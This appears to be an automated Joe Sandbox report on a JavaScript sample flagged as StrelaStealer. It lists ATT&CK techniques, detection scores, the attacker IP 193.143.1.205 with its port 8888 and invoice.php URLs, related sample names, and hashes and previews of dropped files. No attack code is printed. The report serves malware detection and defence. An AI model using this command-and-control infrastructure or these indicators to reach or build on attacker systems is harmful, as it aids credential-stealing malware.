Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2937924646314313784.js	5%	Virustotal		Browse
2937924646314313784.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/o	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2647467935.00000113BFA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1447711148.000001B6FE2AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1447527458.000001B6FE278000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1443810413.00000113BF890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/o	net.exe, 00000007.00000003.1443944613.000001B6FE2AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1447711148.000001B6FE2AC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588520
Start date and time:	2025-01-11 02:00:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2937924646314313784.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.23.197.184, 199.232.210.172, 2.16.168.105, 2.16.168.107, 13.107.246.45, 52.22.41.97, 52.149.20.212, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:01:15	API Interceptor	21x Sleep call for process: powershell.exe modified
20:01:19	API Interceptor	1x Sleep call for process: net.exe modified
20:01:20	API Interceptor	2x Sleep call for process: svchost.exe modified
20:01:27	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	RdichqztBg.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	AraK29dzhH.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	YrCSUX2O3I.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.45
	uG3I84bQEr.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	12621132703258916868.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	Cpfkf79Rzk.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	https://noiclethomas.wixsite.com/rice	Get hash	malicious	Unknown	Browse	13.107.246.45
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.246.45
	OKkUGRkZV7.exe	Get hash	malicious	Remcos	Browse	13.107.246.45
bg.microsoft.map.fastly.net	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1187225758523111660.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	4892182381391430128.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	36522792260104347.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49320394090650377
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1ZtaD:cJhXC9lHmutpJyiRDeJ/aUKrDgnmR
MD5:	55F293EF39F4A19D0442483D5E961F01
SHA1:	B3496ECA2531289CC884F695D18DE3D0C1897C74
SHA-256:	D603344C7C73AB55CD11312D974FCFF12FB486042213BC187ED15CE489702FDD
SHA-512:	DA99103FE3D2947C6E580A13DC2507D94427D53492AAD8DDFD4194446A2313D05A41B88ED5CD4519474818F9246FFB7E54C2D692B87BB17D91F094DAF425FE17
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x87858867, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216783584351231
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:jazaNvFv8V2UW/DLzN/w4wZi
MD5:	22ACB034D6F81A43193A2171C63C6168
SHA1:	AA07D5A6AE43C2FA261C6F88EE3009E683A4AAAA
SHA-256:	F691BC771395A2425F40219AEC1FD111D6047A4E1BA3EBF474424705F8BD093C
SHA-512:	0755400B5C626E8C808B88CD95D8D8ABA985366443620B31AA5FDC956CDF3ED5209FF28C07BED87A0E0E8CCCC41AA521F5E8C304B5C00F94490B35172CA0B8A2
Malicious:	false
Preview:	...g... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................X.(......}..................C.j3.....}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0811578383200217
Encrypted:	false
SSDEEP:	3:5iUYeGckB6/fgsCrZClW/tpxcRgall+SHY/Xl+/rQLve:QUzTkEfgs3GZy1AS4M
MD5:	2EF6532A2743B49A40A32808F0840F8C
SHA1:	178DED26C549012718667F701CF70AEE4B202D66
SHA-256:	A988E2CD0BCA971F4BA8393028F81674D6C653F466D4666EF131508C7FAE70FB
SHA-512:	95B00C1A9D18B8AAA787AD5E4F895CB9C9206A611D5DF5894E77094FE66324712D5E5024471C69F89EBD7B8003162C5754513A2E3299297F6DF77FF58C5EDF48
Malicious:	false
Preview:	.;Sy.....................................;...{.......}.......{}..............{}......{}.vv_Q.....{}.................C.j3.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.148211698247371
Encrypted:	false
SSDEEP:	6:iO4qViL5wVq2PqLTwi2nKuAl9OmbnIFUtSqVi+YgZmwsqVi+YIkwOqLTwi2nKuAR:7niOv8wZHAahFUtZia/Lim5TwZHAaSJ
MD5:	7F02EA8530631486977A287A7C5B4F0A
SHA1:	531DAB0516A9E137721FF2B39634EF409BF7A070
SHA-256:	3122A87B91FF328604FF8A19C988A2EB79F50C62F7D52DD50583C90953DEBE75
SHA-512:	41AF7DD7AB0206A7BB35893601B26780FD6305F8C28C879159762DA851CAD7C7B31FF707229E016E3E43B3F4FE5A44AF99D90246DD7960F8D25DC9BFC330AD3A
Malicious:	false
Preview:	2025/01/10-20:01:19.145 f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:01:19.148 f80 Recovering log #3.2025/01/10-20:01:19.148 f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.148211698247371
Encrypted:	false
SSDEEP:	6:iO4qViL5wVq2PqLTwi2nKuAl9OmbnIFUtSqVi+YgZmwsqVi+YIkwOqLTwi2nKuAR:7niOv8wZHAahFUtZia/Lim5TwZHAaSJ
MD5:	7F02EA8530631486977A287A7C5B4F0A
SHA1:	531DAB0516A9E137721FF2B39634EF409BF7A070
SHA-256:	3122A87B91FF328604FF8A19C988A2EB79F50C62F7D52DD50583C90953DEBE75
SHA-512:	41AF7DD7AB0206A7BB35893601B26780FD6305F8C28C879159762DA851CAD7C7B31FF707229E016E3E43B3F4FE5A44AF99D90246DD7960F8D25DC9BFC330AD3A
Malicious:	false
Preview:	2025/01/10-20:01:19.145 f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:01:19.148 f80 Recovering log #3.2025/01/10-20:01:19.148 f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.106278744131806
Encrypted:	false
SSDEEP:	6:iO4qVigI+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSqVi+ZmwsqVi/NVkwOqLTwi2nK3:7niKv8wZHAa8uFUtZi+/Lir5TwZHAa8z
MD5:	1743884CDE3971B8B4D873C4132A1201
SHA1:	18A189B69D0B2C6A76684DBC0E5337C41ABAE94B
SHA-256:	F74DCD693CED304E06E91CED17D7BBDF0EB4C35B5F185D243C7D3C2E309AAB3E
SHA-512:	BFA057E49DB5081C37D4D00448B43ACEE238AAB5E63BD3B4758D7010BFA4BEF6B7479329742B48321AD5734696AE30F76F12DA0B44226DABB472809575285CB0
Malicious:	false
Preview:	2025/01/10-20:01:19.800 998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:01:19.801 998 Recovering log #3.2025/01/10-20:01:19.802 998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.106278744131806
Encrypted:	false
SSDEEP:	6:iO4qVigI+q2PqLTwi2nKuAl9Ombzo2jMGIFUtSqVi+ZmwsqVi/NVkwOqLTwi2nK3:7niKv8wZHAa8uFUtZi+/Lir5TwZHAa8z
MD5:	1743884CDE3971B8B4D873C4132A1201
SHA1:	18A189B69D0B2C6A76684DBC0E5337C41ABAE94B
SHA-256:	F74DCD693CED304E06E91CED17D7BBDF0EB4C35B5F185D243C7D3C2E309AAB3E
SHA-512:	BFA057E49DB5081C37D4D00448B43ACEE238AAB5E63BD3B4758D7010BFA4BEF6B7479329742B48321AD5734696AE30F76F12DA0B44226DABB472809575285CB0
Malicious:	false
Preview:	2025/01/10-20:01:19.800 998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:01:19.801 998 Recovering log #3.2025/01/10-20:01:19.802 998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\377762d7-c397-4315-82d2-b09cad39a7ce.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956595303640914
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/QnWsBdOg2H6fcaq3QYiub5P7E4TX:Y2sRdsu2dMHF3QYhbt7n7
MD5:	D65CD83B3722ED07996771CE4B68D084
SHA1:	9F165DC3FAE729C1E8259C1ABE1C02A633318DEA
SHA-256:	49917B99ABAF749C63DA73D5CE09BA7021162775B99420792178C30A05E72CA3
SHA-512:	B0E9DC79719E813270275E721D4B34C747EB64BB4C6D3462E6F78DEEBC2E4DB2DD09773BDAFE56894C50FEFF31B367FDCCF093A37E586B5305C4B700CFF252EB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117290659159","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121181},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\4c96737a-f3cc-41fc-9198-bc202741d075.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4TX:Y2sRds+6dMHlR3QYhbt7n7
MD5:	ACCB522AE87A739BDC04EB5A34975EEB
SHA1:	A41FED54445E729A85E7017A002D4FF6FCAFEC93
SHA-256:	C7106DE6A60A389FB9B4BBC9971C9922919583A3C382664F3E78DFDC2A95AE96
SHA-512:	5B35F36E3C53CC53F90AEA276934753CAD809640E7447BD9F7AAFF48FD46EFBE5FFDEEBC19770D7D0550E67624AB76571D64525F00B82430534576B3015EFF3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4TX:Y2sRds+6dMHlR3QYhbt7n7
MD5:	ACCB522AE87A739BDC04EB5A34975EEB
SHA1:	A41FED54445E729A85E7017A002D4FF6FCAFEC93
SHA-256:	C7106DE6A60A389FB9B4BBC9971C9922919583A3C382664F3E78DFDC2A95AE96
SHA-512:	5B35F36E3C53CC53F90AEA276934753CAD809640E7447BD9F7AAFF48FD46EFBE5FFDEEBC19770D7D0550E67624AB76571D64525F00B82430534576B3015EFF3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF651997.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4TX:Y2sRds+6dMHlR3QYhbt7n7
MD5:	ACCB522AE87A739BDC04EB5A34975EEB
SHA1:	A41FED54445E729A85E7017A002D4FF6FCAFEC93
SHA-256:	C7106DE6A60A389FB9B4BBC9971C9922919583A3C382664F3E78DFDC2A95AE96
SHA-512:	5B35F36E3C53CC53F90AEA276934753CAD809640E7447BD9F7AAFF48FD46EFBE5FFDEEBC19770D7D0550E67624AB76571D64525F00B82430534576B3015EFF3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.218144254575184
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz/zhaG:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz/P
MD5:	0AF3FDF3DBE3F5BD5C2550FD2FDA7D3C
SHA1:	5CFC3C81F81A3453AA5D48954FE50592039BB47A
SHA-256:	BF82C369F8D285762638EE181938CFE8497936EAFE7128CF4B61A6E5ED9FB46C
SHA-512:	82A4114BFFD09198F7DA071A10D9E34DA501BE4FADB2B33E5DF81AA8A5834B9870435ACC400920246CFA32DAB76B26C4BA6020BE3B07A67E45D164DF49A17059
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.097116586909448
Encrypted:	false
SSDEEP:	6:iO4qVOUZ+q2PqLTwi2nKuAl9OmbzNMxIFUtSqVOAFccdXZmwsqVOWZVkwOqLTwiS:7n7Uv8wZHAa8jFUtZdmcdX/LR5TwZHAo
MD5:	F5142D1FA2BF6D73489FD5ED8B364839
SHA1:	0F39C7D5E8DB1CA3C2F8E512909EB16BC1020E69
SHA-256:	A33F7AA58526DBD1A8DFC0BE07CD4C39FA51A53E857774187D60C96FF229E536
SHA-512:	6757C7E33A41B4BEAB2B3EADC7A07CCDC51BD2007EFB7D55B8B342F656CA011B27951DA1A47FD21E0F0803809738485EE2630EBCDC209424F31F4C8407B91753
Malicious:	false
Preview:	2025/01/10-20:01:20.212 998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:01:20.225 998 Recovering log #3.2025/01/10-20:01:20.232 998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.097116586909448
Encrypted:	false
SSDEEP:	6:iO4qVOUZ+q2PqLTwi2nKuAl9OmbzNMxIFUtSqVOAFccdXZmwsqVOWZVkwOqLTwiS:7n7Uv8wZHAa8jFUtZdmcdX/LR5TwZHAo
MD5:	F5142D1FA2BF6D73489FD5ED8B364839
SHA1:	0F39C7D5E8DB1CA3C2F8E512909EB16BC1020E69
SHA-256:	A33F7AA58526DBD1A8DFC0BE07CD4C39FA51A53E857774187D60C96FF229E536
SHA-512:	6757C7E33A41B4BEAB2B3EADC7A07CCDC51BD2007EFB7D55B8B342F656CA011B27951DA1A47FD21E0F0803809738485EE2630EBCDC209424F31F4C8407B91753
Malicious:	false
Preview:	2025/01/10-20:01:20.212 998 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:01:20.225 998 Recovering log #3.2025/01/10-20:01:20.232 998 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

